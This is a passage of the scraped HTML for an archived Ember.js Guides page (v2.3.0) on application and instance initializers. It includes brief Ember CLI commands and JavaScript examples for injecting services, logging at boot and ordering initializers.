id="ember106120" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/controllers" id="ember106121" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember106122" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106124" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/models" id="ember106125" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember106126" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106128" class="cp-Panel cp-is-open ember-view"><a href="/v2.3.0/applications" id="ember106129" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember106130" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember106131" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/index" id="ember106133" class="ember-view"> Applications and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/dependency-injection" id="ember106135" class="ember-view"> Dependency Injection </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.3.0/applications/initializers" id="ember106137" class="selected ember-view"> Initializers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/services" id="ember106139" class="ember-view"> Services </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.3.0/applications/run-loop" id="ember106141" class="ember-view"> The Run Loop </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106143" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/testing" id="ember106144" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember106145" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106147" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/ember-inspector" id="ember106148" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember106149" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106151" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/addons-and-dependencies" id="ember106152" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember106153" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106155" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/configuring-ember" id="ember106156" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember106157" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106159" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/contributing" id="ember106160" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember106161" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember106163" class="cp-Panel cp-is-closed ember-view"><a href="/v2.3.0/glossary" id="ember106164" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember106165" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember106166" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.3.0. <a href="/release/applications/initializers" id="ember106167" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.3.0/applications/initializers.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Initializers </h1> <hr> <div id="ember106168" class="ember-view"><p>Initializers provide an opportunity to configure your application as it boots.</p> <p>There are two types of initializers: application initializers and application instance initializers.</p> <p>Application initializers are run as your application boots, and provide the primary means to configure <a href="../dependency-injection/">dependency injections</a> in your application.</p> <p>Application instance initializers are run as an application instance is loaded. They provide a way to configure the initial state of your application, as well as to set up dependency injections that are local to the application instance (e.g. A/B testing configurations).</p> <p>Operations performed in initializers should be kept as lightweight as possible to minimize delays in loading your application. Although advanced techniques exist for allowing asynchrony in application initializers (i.e. <code>deferReadiness</code> and <code>advanceReadiness</code>), these techniques should generally be avoided. Any asynchronous loading conditions (e.g. user authorization) are almost always better handled in your application route's hooks, which allows for DOM interaction while waiting for conditions to resolve.</p> <h2 id="toc_application-initializers">Application Initializers</h2> <section aria-labelledby="toc_application-initializers"> <p>Application initializers can be created with Ember CLI's <code>initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate initializer shopping-cart </code></pre> <p>Let's customize the <code>shopping-cart</code> initializer to inject a <code>cart</code> property into all the routes in your application:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/shopping-cart.js>export function initialize(application) { application.inject('route', 'cart', 'service:shopping-cart'); }; export default { name: 'shopping-cart', initialize: initialize }; </code></pre> </section> <h2 id="toc_application-instance-initializers">Application Instance Initializers</h2> <section aria-labelledby="toc_application-instance-initializers"> <p>Application instance initializers can be created with Ember CLI's <code>instance-initializer</code> generator:</p> <pre><code class="bash language-bash">ember generate instance-initializer logger </code></pre> <p>Let's add some simple logging to indicate that the instance has booted:</p> <pre><code class="javascript language-javascript"data-filename=app/instance-initializers/logger.js>export function initialize(applicationInstance) { var logger = applicationInstance.lookup('logger:main'); logger.log('Hello from the instance initializer!'); } export default { name: 'logger', initialize: initialize }; </code></pre> </section> <h2 id="toc_specifying-initializer-order">Specifying Initializer Order</h2> <section aria-labelledby="toc_specifying-initializer-order"> <p>If you'd like to control the order in which initializers run, you can use the <code>before</code> and/or <code>after</code> options:</p> <pre><code class="javascript language-javascript"data-filename=app/initializers/config-reader.js>export function initialize(application) { // ... your code ... }; export default { name: 'configReader', before: 'websocketInit', initialize: initialize }; </code></pre> <pre><code class="javascript language-javascript"data-filename=app/initializers/websocket-init.js>export function initialize(application) { // ... your code ... }; export default { name: 'websocketInit', after: 'configReader', initialize: initialize }; </code></pre> <p>Note that ordering only applies to initializers of the same type (i.e. application or application instance). Application initializers will always run before application instance initializers.</p> </section> </div> <footer id="ember106169" class="ember-view"> <a href="/v2.3.0/applications/dependency-injection" id="ember106170" class="previous-guide ember-view">Dependency Injection</a> <a href="/v2.3.0/applications/services" id="ember106171" class="next-guide ember-view"> Services </a></footer> </article> </main> <footer id="ember106172" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember106173" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember106174" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember106175" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Initializers - Application Concerns - Ember Guides</title> <meta name="description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta property="og:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of initializers: application initializers and application instance initializers. Application initializers are run as your application boots, and provide..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Initializers - Application Concerns - Ember Guides"> <!----> <meta name="twitter:description" content="Initializers provide an opportunity to configure your application as it boots. There are two types of 